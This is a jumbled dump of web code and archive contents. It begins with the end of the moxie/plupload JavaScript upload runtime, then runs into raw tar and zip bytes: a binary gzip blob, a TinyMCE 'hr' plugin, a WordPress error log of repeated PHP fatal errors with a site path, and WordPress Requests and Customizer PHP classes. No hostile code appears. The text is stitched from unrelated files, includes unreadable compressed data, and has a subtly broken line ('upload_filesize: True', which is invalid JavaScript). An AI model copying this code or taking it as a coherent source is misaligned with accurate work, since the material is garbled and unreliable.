				return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) || 
					(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || 
					(Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
			}()),
			resize_image: function() {
				return extensions.Image && I.can('access_binary') && Env.can('create_canvas');
			},
			report_upload_progress: false,
			return_response_headers: false,
			return_response_type: function(responseType) {
				if (responseType === 'json' && !!window.JSON) {
					return true;
				} 
				return !!~Basic.inArray(responseType, ['text', 'document', '']);
			},
			return_status_code: function(code) {
				return !Basic.arrayDiff(code, [200, 404]);
			},
			select_file: function() {
				return Env.can('use_fileinput');
			},
			select_multiple: false,
			send_binary_string: false,
			send_custom_headers: false,
			send_multipart: true,
			slice_blob: false,
			stream_upload: function() {
				return I.can('select_file');
			},
			summon_file_dialog: function() { // yeah... some dirty sniffing here...
				return I.can('select_file') && (
					(Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
					(Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
					(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
					!!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
				);
			},
			upload_filesize: True,
			use_http_method: function(methods) {
				return !Basic.arrayDiff(methods, ['GET', 'POST']);
			}
		});


		Basic.extend(this, {
			init : function() {
				this.trigger("Init");
			},

			destroy: (function(destroy) { // extend default destroy method
				return function() {
					destroy.call(I);
					destroy = I = null;
				};
			}(this.destroy))
		});

		Basic.extend(this.getShim(), extensions);
	}

	Runtime.addConstructor(type, Html4Runtime);

	return extensions;
});

// Included from: src/javascript/runtime/html4/file/FileInput.js

/**
 * FileInput.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html4/file/FileInput
@private
*/
define("moxie/runtime/html4/file/FileInput", [
	"moxie/runtime/html4/Runtime",
	"moxie/file/File",
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/utils/Events",
	"moxie/core/utils/Mime",
	"moxie/core/utils/Env"
], function(extensions, File, Basic, Dom, Events, Mime, Env) {
	
	function FileInput() {
		var _uid, _mimes = [], _options;

		function addInput() {
			var comp = this, I = comp.getRuntime(), shimContainer, browseButton, currForm, form, input, uid;

			uid = Basic.guid('uid_');

			shimContainer = I.getShimContainer(); // we get new ref everytime to avoid memory leaks in IE

			if (_uid) { // move previous form out of the view
				currForm = Dom.get(_uid + '_form');
				if (currForm) {
					Basic.extend(currForm.style, { top: '100%' });
				}
			}

			// build form in DOM, since innerHTML version not able to submit file for some reason
			form = document.createElement('form');
			form.setAttribute('id', uid + '_form');
			form.setAttribute('method', 'post');
			form.setAttribute('enctype', 'multipart/form-data');
			form.setAttribute('encoding', 'multipart/form-data');

			Basic.extend(form.style, {
				overflow: 'hidden',
				position: 'absolute',
				top: 0,
				left: 0,
				width: '100%',
				height: '100%'
			});

			input = document.createElement('input');
			input.setAttribute('id', uid);
			input.setAttribute('type', 'file');
			input.setAttribute('name', _options.name || 'Filedata');
			input.setAttribute('accept', _mimes.join(','));

			Basic.extend(input.style, {
				fontSize: '999px',
				opacity: 0
			});

			form.appendChild(input);
			shimContainer.appendChild(form);

			// prepare file input to be placed underneath the browse_button element
			Basic.extend(input.style, {
				position: 'absolute',
				top: 0,
				left: 0,
				width: '100%',
				height: '100%'
			});

			if (Env.browser === 'IE' && Env.verComp(Env.version, 10, '<')) {
				Basic.extend(input.style, {
					filter : "progid:DXImageTransform.Microsoft.Alpha(opacity=0)"
				});
			}

			input.onchange = function() { // there should be only one handler for this
				var file;

				if (!this.value) {
					return;
				}

				if (this.files) { // check if browser is fresh enough
					file = this.files[0];

					// ignore empty files (IE10 for example hangs if you try to send them via XHR)
					if (file.size === 0) {
						form.parentNode.removeChild(form);
						return;
					}
				} else {
					file = {
						name: this.value
					};
				}

				file = new File(I.uid, file);

				// clear event handler
				this.onchange = function() {}; 
				addInput.call(comp); 

				comp.files = [file];

				// substitute all ids with file uids (consider file.uid read-only - we cannot do it the other way around)
				input.setAttribute('id', file.uid);
				form.setAttribute('id', file.uid + '_form');
				
				comp.trigger('change');

				input = form = null;
			};


			// route click event to the input
			if (I.can('summon_file_dialog')) {
				browseButton = Dom.get(_options.browse_button);
				Events.removeEvent(browseButton, 'click', comp.uid);
				Events.addEvent(browseButton, 'click', function(e) {
					if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
						input.click();
					}
					e.preventDefault();
				}, comp.uid);
			}

			_uid = uid;

			shimContainer = currForm = browseButton = null;
		}

		Basic.extend(this, {
			init: function(options) {
				var comp = this, I = comp.getRuntime(), shimContainer;

				// figure out accept string
				_options = options;
				_mimes = options.accept.mimes || Mime.extList2mimes(options.accept, I.can('filter_by_extension'));

				shimContainer = I.getShimContainer();

				(function() {
					var browseButton, zIndex, top;

					browseButton = Dom.get(options.browse_button);

					// Route click event to the input[type=file] element for browsers that support such behavior
					if (I.can('summon_file_dialog')) {
						if (Dom.getStyle(browseButton, 'position') === 'static') {
							browseButton.style.position = 'relative';
						}

						zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;

						browseButton.style.zIndex = zIndex;
						shimContainer.style.zIndex = zIndex - 1;
					}

					/* Since we have to place input[type=file] on top of the browse_button for some browsers,
					browse_button loses interactivity, so we restore it here */
					top = I.can('summon_file_dialog') ? browseButton : shimContainer;

					Events.addEvent(top, 'mouseover', function() {
						comp.trigger('mouseenter');
					}, comp.uid);

					Events.addEvent(top, 'mouseout', function() {
						comp.trigger('mouseleave');
					}, comp.uid);

					Events.addEvent(top, 'mousedown', function() {
						comp.trigger('mousedown');
					}, comp.uid);

					Events.addEvent(Dom.get(options.container), 'mouseup', function() {
						comp.trigger('mouseup');
					}, comp.uid);

					browseButton = null;
				}());

				addInput.call(this);

				shimContainer = null;

				// trigger ready event asynchronously
				comp.trigger({
					type: 'ready',
					async: true
				});
			},


			disable: function(state) {
				var input;

				if ((input = Dom.get(_uid))) {
					input.disabled = !!state;
				}
			},

			destroy: function() {
				var I = this.getRuntime()
				, shim = I.getShim()
				, shimContainer = I.getShimContainer()
				;
				
				Events.removeAllEvents(shimContainer, this.uid);
				Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
				Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
				
				if (shimContainer) {
					shimContainer.innerHTML = '';
				}

				shim.removeInstance(this.uid);

				_uid = _mimes = _options = shimContainer = shim = null;
			}
		});
	}

	return (extensions.FileInput = FileInput);
});

// Included from: src/javascript/runtime/html4/file/FileReader.js

/**
 * FileReader.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html4/file/FileReader
@private
*/
define("moxie/runtime/html4/file/FileReader", [
	"moxie/runtime/html4/Runtime",
	"moxie/runtime/html5/file/FileReader"
], function(extensions, FileReader) {
	return (extensions.FileReader = FileReader);
});

// Included from: src/javascript/runtime/html4/xhr/XMLHttpRequest.js

/**
 * XMLHttpRequest.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html4/xhr/XMLHttpRequest
@private
*/
define("moxie/runtime/html4/xhr/XMLHttpRequest", [
	"moxie/runtime/html4/Runtime",
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/utils/Url",
	"moxie/core/Exceptions",
	"moxie/core/utils/Events",
	"moxie/file/Blob",
	"moxie/xhr/FormData"
], function(extensions, Basic, Dom, Url, x, Events, Blob, FormData) {
	
	function XMLHttpRequest() {
		var _status, _response, _iframe;

		function cleanup(cb) {
			var target = this, uid, form, inputs, i, hasFile = false;

			if (!_iframe) {
				return;
			}

			uid = _iframe.id.replace(/_iframe$/, '');

			form = Dom.get(uid + '_form');
			if (form) {
				inputs = form.getElementsByTagName('input');
				i = inputs.length;

				while (i--) {
					switch (inputs[i].getAttribute('type')) {
						case 'hidden':
							inputs[i].parentNode.removeChild(inputs[i]);
							break;
						case 'file':
							hasFile = true; // flag the case for later
							break;
					}
				}
				inputs = [];

				if (!hasFile) { // we need to keep the form for sake of possible retries
					form.parentNode.removeChild(form);
				}
				form = null;
			}

			// without timeout, request is marked as canceled (in console)
			setTimeout(function() {
				Events.removeEvent(_iframe, 'load', target.uid);
				if (_iframe.parentNode) { // #382
					_iframe.parentNode.removeChild(_iframe);
				}

				// check if shim container has any other children, if - not, remove it as well
				var shimContainer = target.getRuntime().getShimContainer();
				if (!shimContainer.children.length) {
					shimContainer.parentNode.removeChild(shimContainer);
				}

				shimContainer = _iframe = null;
				cb();
			}, 1);
		}

		Basic.extend(this, {
			send: function(meta, data) {
				var target = this, I = target.getRuntime(), uid, form, input, blob;

				_status = _response = null;

				function createIframe() {
					var container = I.getShimContainer() || document.body
					, temp = document.createElement('div')
					;

					// IE 6 won't be able to set the name using setAttribute or iframe.name
					temp.innerHTML = '<iframe id="' + uid + '_iframe" name="' + uid + '_iframe" src="javascript:&quot;&quot;" style="display:none"></iframe>';
					_iframe = temp.firstChild;
					container.appendChild(_iframe);

					/* _iframe.onreadystatechange = function() {
						console.info(_iframe.readyState);
					};*/

					Events.addEvent(_iframe, 'load', function() { // _iframe.onload doesn't work in IE lte 8
						var el;

						try {
							el = _iframe.contentWindow.document || _iframe.contentDocument || window.frames[_iframe.id].document;

							// try to detect some standard error pages
							if (/^4(0[0-9]|1[0-7]|2[2346])\s/.test(el.title)) { // test if title starts with 4xx HTTP error
								_status = el.title.replace(/^(\d+).*$/, '$1');
							} else {
								_status = 200;
								// get result
								_response = Basic.trim(el.body.innerHTML);

								// we need to fire these at least once
								target.trigger({
									type: 'progress',
									loaded: _response.length,
									total: _response.length
								});

								if (blob) { // if we were uploading a file
									target.trigger({
										type: 'uploadprogress',
										loaded: blob.size || 1025,
										total: blob.size || 1025
									});
								}
							}
						} catch (ex) {
							if (Url.hasSameOrigin(meta.url)) {
								// if response is sent with error code, iframe in IE gets redirected to res://ieframe.dll/http_x.htm
								// which obviously results to cross domain error (wtf?)
								_status = 404;
							} else {
								cleanup.call(target, function() {
									target.trigger('error');
								});
								return;
							}
						}	
					
						cleanup.call(target, function() {
							target.trigger('load');
						});
					}, target.uid);
				} // end createIframe

				// prepare data to be sent and convert if required
				if (data instanceof FormData && data.hasBlob()) {
					blob = data.getBlob();
					uid = blob.uid;
					input = Dom.get(uid);
					form = Dom.get(uid + '_form');
					if (!form) {
						throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
					}
				} else {
					uid = Basic.guid('uid_');

					form = document.createElement('form');
					form.setAttribute('id', uid + '_form');
					form.setAttribute('method', meta.method);
					form.setAttribute('enctype', 'multipart/form-data');
					form.setAttribute('encoding', 'multipart/form-data');

					I.getShimContainer().appendChild(form);
				}

				// set upload target
				form.setAttribute('target', uid + '_iframe');

				if (data instanceof FormData) {
					data.each(function(value, name) {
						if (value instanceof Blob) {
							if (input) {
								input.setAttribute('name', name);
							}
						} else {
							var hidden = document.createElement('input');

							Basic.extend(hidden, {
								type : 'hidden',
								name : name,
								value : value
							});

							// make sure that input[type="file"], if it's there, comes last
							if (input) {
								form.insertBefore(hidden, input);
							} else {
								form.appendChild(hidden);
							}
						}
					});
				}

				// set destination url
				form.setAttribute("action", meta.url);

				createIframe();
				form.submit();
				target.trigger('loadstart');
			},

			getStatus: function() {
				return _status;
			},

			getResponse: function(responseType) {
				if ('json' === responseType) {
					// strip off <pre>..</pre> tags that might be enclosing the response
					if (Basic.typeOf(_response) === 'string' && !!window.JSON) {
						try {
							return JSON.parse(_response.replace(/^\s*<pre[^>]*>/, '').replace(/<\/pre>\s*$/, ''));
						} catch (ex) {
							return null;
						}
					} 
				} else if ('document' === responseType) {

				}
				return _response;
			},

			abort: function() {
				var target = this;

				if (_iframe && _iframe.contentWindow) {
					if (_iframe.contentWindow.stop) { // FireFox/Safari/Chrome
						_iframe.contentWindow.stop();
					} else if (_iframe.contentWindow.document.execCommand) { // IE
						_iframe.contentWindow.document.execCommand('Stop');
					} else {
						_iframe.src = "about:blank";
					}
				}

				cleanup.call(this, function() {
					// target.dispatchEvent('readystatechange');
					target.dispatchEvent('abort');
				});
			}
		});
	}

	return (extensions.XMLHttpRequest = XMLHttpRequest);
});

// Included from: src/javascript/runtime/html4/image/Image.js

/**
 * Image.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html4/image/Image
@private
*/
define("moxie/runtime/html4/image/Image", [
	"moxie/runtime/html4/Runtime",
	"moxie/runtime/html5/image/Image"
], function(extensions, Image) {
	return (extensions.Image = Image);
});

expose(["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"]);
})(this);
/**
 * o.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/*global moxie:true */

/**
Globally exposed namespace with the most frequently used public classes and handy methods.

@class o
@static
@private
*/
(function(exports) {
	"use strict";

	var o = {}, inArray = exports.moxie.core.utils.Basic.inArray;

	// directly add some public classes
	// (we do it dynamically here, since for custom builds we cannot know beforehand what modules were included)
	(function addAlias(ns) {
		var name, itemType;
		for (name in ns) {
			itemType = typeof(ns[name]);
			if (itemType === 'object' && !~inArray(name, ['Exceptions', 'Env', 'Mime'])) {
				addAlias(ns[name]);
			} else if (itemType === 'function') {
				o[name] = ns[name];
			}
		}
	})(exports.moxie);

	// add some manually
	o.Env = exports.moxie.core.utils.Env;
	o.Mime = exports.moxie.core.utils.Mime;
	o.Exceptions = exports.moxie.core.Exceptions;

	// expose globally
	exports.mOxie = o;
	if (!exports.o) {
		exports.o = o;
	}
	return o;
})(this);
14338/heading.php.php.tar.gz000064400000001306151024420100011315 0ustar00��T�O�0�5�+n�R
jڵ 
�6ML�$��x4nri�&vf;4���$�Q`{��z�u���~8�,0L���#��#��E&�U��$��"��0��H��g"ʫu8�e��a�<&�L˭5�#����ƣ��p2t��x˺��[���Vi��|�\����������,Q�9�Ih�n��f�`$�0�
AUԆ|1\E�i7�
\,DRF�ߦ8)y��s�K��3�;M�пW��z�(�Z[6_�%C��T�7�(s�94-o.�k�wG��>��y6��==E���(LGӆ�RVyL=���ԉ��6���J��>������C�/�+�o:���*�><\e⪬k�����ƃmܸ:M��&�1(4�-���?����ɤ�!�nk:�jdw��ރ���{Y]x���5zZ�����)�.��^|��.���)юI���Т�
T��8��.�àG�ȝo�9v�ĝ�����i�#)���cY�;�:�9����96�o%/��@�By3�E$�����=o��/����G��*cn0f�)�.E�ݿ�s�gڠ�njO�W�Fu�j��^��T5ll}�]W�#��-�%J�@�I#�R
�}�r� h�=����������O!xv�\��Օ�~r������9����_��7���m��'�v�X14338/hr.zip000064400000003145151024420100006353 0ustar00PK�]d[?#Z~��	plugin.jsnu�[���(function () {
var hr = (function () {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var register = function (editor) {
      editor.addCommand('InsertHorizontalRule', function () {
        editor.execCommand('mceInsertContent', false, '<hr />');
      });
    };
    var Commands = { register: register };

    var register$1 = function (editor) {
      editor.addButton('hr', {
        icon: 'hr',
        tooltip: 'Horizontal line',
        cmd: 'InsertHorizontalRule'
      });
      editor.addMenuItem('hr', {
        icon: 'hr',
        text: 'Horizontal line',
        cmd: 'InsertHorizontalRule',
        context: 'insert'
      });
    };
    var Buttons = { register: register$1 };

    global.add('hr', function (editor) {
      Commands.register(editor);
      Buttons.register(editor);
    });
    function Plugin () {
    }

    return Plugin;

}());
})();
PK�]d[S��
plugin.min.jsnu�[���!function(){"use strict";var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(n){n.addCommand("InsertHorizontalRule",function(){n.execCommand("mceInsertContent",!1,"<hr />")})},o=function(n){n.addButton("hr",{icon:"hr",tooltip:"Horizontal line",cmd:"InsertHorizontalRule"}),n.addMenuItem("hr",{icon:"hr",text:"Horizontal line",cmd:"InsertHorizontalRule",context:"insert"})};n.add("hr",function(n){t(n),o(n)})}();PK�]d[?#Z~��	plugin.jsnu�[���PK�]d[S��
�plugin.min.jsnu�[���PK��14338/Transport.tar000064400000015000151024420100007713 0ustar00error_log000064400000005740151024334660006473 0ustar00[28-Oct-2025 15:24:50 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[02-Nov-2025 06:48:38 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[03-Nov-2025 01:51:16 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[04-Nov-2025 14:53:39 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[04-Nov-2025 14:54:32 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[05-Nov-2025 11:19:52 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[05-Nov-2025 11:20:15 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[05-Nov-2025 15:27:02 UTC] PHP Fatal error:  Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
Curl.php000064400000002565151024334660006176 0ustar00<?php
/**
 * CURL Transport Exception.
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Transport;

use WpOrg\Requests\Exception\Transport;

/**
 * CURL Transport Exception.
 *
 * @package Requests\Exceptions
 */
final class Curl extends Transport {

	const EASY  = 'cURLEasy';
	const MULTI = 'cURLMulti';
	const SHARE = 'cURLShare';

	/**
	 * cURL error code
	 *
	 * @var integer
	 */
	protected $code = -1;

	/**
	 * Which type of cURL error
	 *
	 * EASY|MULTI|SHARE
	 *
	 * @var string
	 */
	protected $type = 'Unknown';

	/**
	 * Clear text error message
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception.
	 *
	 * @param string $message Exception message.
	 * @param string $type    Exception type.
	 * @param mixed  $data    Associated data, if applicable.
	 * @param int    $code    Exception numerical code, if applicable.
	 */
	public function __construct($message, $type, $data = null, $code = 0) {
		if ($type !== null) {
			$this->type = $type;
		}

		if ($code !== null) {
			$this->code = (int) $code;
		}

		if ($message !== null) {
			$this->reason = $message;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, $this->type, $data, $this->code);
	}

	/**
	 * Get the error message.
	 *
	 * @return string
	 */
	public function getReason() {
		return $this->reason;
	}

}
14338/customize.tar000064400001303000151024420100007742 0ustar00class-wp-customize-media-control.php000064400000022307151024210340013555 0ustar00<?php
/**
 * Customize API: WP_Customize_Media_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Media Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Media_Control extends WP_Customize_Control {
	/**
	 * Control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'media';

	/**
	 * Media control mime type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $mime_type = '';

	/**
	 * Button labels.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	public $button_labels = array();

	/**
	 * Constructor.
	 *
	 * @since 4.1.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );

		$this->button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() );
	}

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 */
	public function enqueue() {
		wp_enqueue_media();
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['label']         = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$this->json['mime_type']     = $this->mime_type;
		$this->json['button_labels'] = $this->button_labels;
		$this->json['canUpload']     = current_user_can( 'upload_files' );

		$value = $this->value();

		if ( is_object( $this->setting ) ) {
			if ( $this->setting->default ) {
				/*
				 * Fake an attachment model - needs all fields used by template.
				 * Note that the default value must be a URL, NOT an attachment ID.
				 */
				$ext  = substr( $this->setting->default, -3 );
				$type = in_array( $ext, array( 'jpg', 'png', 'gif', 'bmp', 'webp', 'avif' ), true ) ? 'image' : 'document';

				$default_attachment = array(
					'id'    => 1,
					'url'   => $this->setting->default,
					'type'  => $type,
					'icon'  => wp_mime_type_icon( $type, '.svg' ),
					'title' => wp_basename( $this->setting->default ),
				);

				if ( 'image' === $type ) {
					$default_attachment['sizes'] = array(
						'full' => array( 'url' => $this->setting->default ),
					);
				}

				$this->json['defaultAttachment'] = $default_attachment;
			}

			if ( $value && $this->setting->default && $value === $this->setting->default ) {
				// Set the default as the attachment.
				$this->json['attachment'] = $this->json['defaultAttachment'];
			} elseif ( $value ) {
				$this->json['attachment'] = wp_prepare_attachment_for_js( $value );
			}
		}
	}

	/**
	 * Don't render any content for this control from PHP.
	 *
	 * @since 3.4.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 *
	 * @see WP_Customize_Media_Control::content_template()
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the media control.
	 *
	 * @since 4.1.0
	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
	 */
	public function content_template() {
		?>
		<#
		var descriptionId = _.uniqueId( 'customize-media-control-description-' );
		var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : '';
		#>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{ data.label }}</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<# if ( data.description ) { #>
			<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>

		<# if ( data.attachment && data.attachment.id ) { #>
			<div class="attachment-media-view attachment-media-view-{{ data.attachment.type }} {{ data.attachment.orientation }}">
				<div class="thumbnail thumbnail-{{ data.attachment.type }}">
					<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #>
						<img class="attachment-thumb" src="{{ data.attachment.sizes.medium.url }}" draggable="false" alt="" />
					<# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #>
						<img class="attachment-thumb" src="{{ data.attachment.sizes.full.url }}" draggable="false" alt="" />
					<# } else if ( 'audio' === data.attachment.type ) { #>
						<# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #>
							<img src="{{ data.attachment.image.src }}" class="thumbnail" draggable="false" alt="" />
						<# } else { #>
							<img src="{{ data.attachment.icon }}" class="attachment-thumb type-icon" draggable="false" alt="" />
						<# } #>
						<p class="attachment-meta attachment-meta-title">&#8220;{{ data.attachment.title }}&#8221;</p>
						<# if ( data.attachment.album || data.attachment.meta.album ) { #>
						<p class="attachment-meta"><em>{{ data.attachment.album || data.attachment.meta.album }}</em></p>
						<# } #>
						<# if ( data.attachment.artist || data.attachment.meta.artist ) { #>
						<p class="attachment-meta">{{ data.attachment.artist || data.attachment.meta.artist }}</p>
						<# } #>
						<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
							<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}" />
						</audio>
					<# } else if ( 'video' === data.attachment.type ) { #>
						<div class="wp-media-wrapper wp-video">
							<video controls="controls" class="wp-video-shortcode" preload="metadata"
								<# if ( data.attachment.image && data.attachment.image.src !== data.attachment.icon ) { #>poster="{{ data.attachment.image.src }}"<# } #>>
								<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}" />
							</video>
						</div>
					<# } else { #>
						<img class="attachment-thumb type-icon icon" src="{{ data.attachment.icon }}" draggable="false" alt="" />
						<p class="attachment-title">{{ data.attachment.title }}</p>
					<# } #>
				</div>
				<div class="actions">
					<# if ( data.canUpload ) { #>
					<button type="button" class="button remove-button">{{ data.button_labels.remove }}</button>
					<button type="button" class="button upload-button control-focus" {{{ describedByAttr }}}>{{ data.button_labels.change }}</button>
					<# } #>
				</div>
			</div>
		<# } else { #>
			<div class="attachment-media-view">
				<# if ( data.canUpload ) { #>
					<button type="button" class="upload-button button-add-media" {{{ describedByAttr }}}>{{ data.button_labels.select }}</button>
				<# } #>
				<div class="actions">
					<# if ( data.defaultAttachment ) { #>
						<button type="button" class="button default-button">{{ data.button_labels['default'] }}</button>
					<# } #>
				</div>
			</div>
		<# } #>
		<?php
	}

	/**
	 * Get default button labels.
	 *
	 * Provides an array of the default button labels based on the mime type of the current control.
	 *
	 * @since 4.9.0
	 *
	 * @return string[] An associative array of default button labels keyed by the button name.
	 */
	public function get_default_button_labels() {
		// Get just the mime type and strip the mime subtype if present.
		$mime_type = ! empty( $this->mime_type ) ? strtok( ltrim( $this->mime_type, '/' ), '/' ) : 'default';

		switch ( $mime_type ) {
			case 'video':
				return array(
					'select'       => __( 'Select video' ),
					'change'       => __( 'Change video' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No video selected' ),
					'frame_title'  => __( 'Select video' ),
					'frame_button' => __( 'Choose video' ),
				);
			case 'audio':
				return array(
					'select'       => __( 'Select audio' ),
					'change'       => __( 'Change audio' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No audio selected' ),
					'frame_title'  => __( 'Select audio' ),
					'frame_button' => __( 'Choose audio' ),
				);
			case 'image':
				return array(
					'select'       => __( 'Select image' ),
					'site_icon'    => __( 'Select Site Icon' ),
					'change'       => __( 'Change image' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No image selected' ),
					'frame_title'  => __( 'Select image' ),
					'frame_button' => __( 'Choose image' ),
				);
			default:
				return array(
					'select'       => __( 'Select file' ),
					'change'       => __( 'Change file' ),
					'default'      => __( 'Default' ),
					'remove'       => __( 'Remove' ),
					'placeholder'  => __( 'No file selected' ),
					'frame_title'  => __( 'Select file' ),
					'frame_button' => __( 'Choose file' ),
				);
		} // End switch().
	}
}
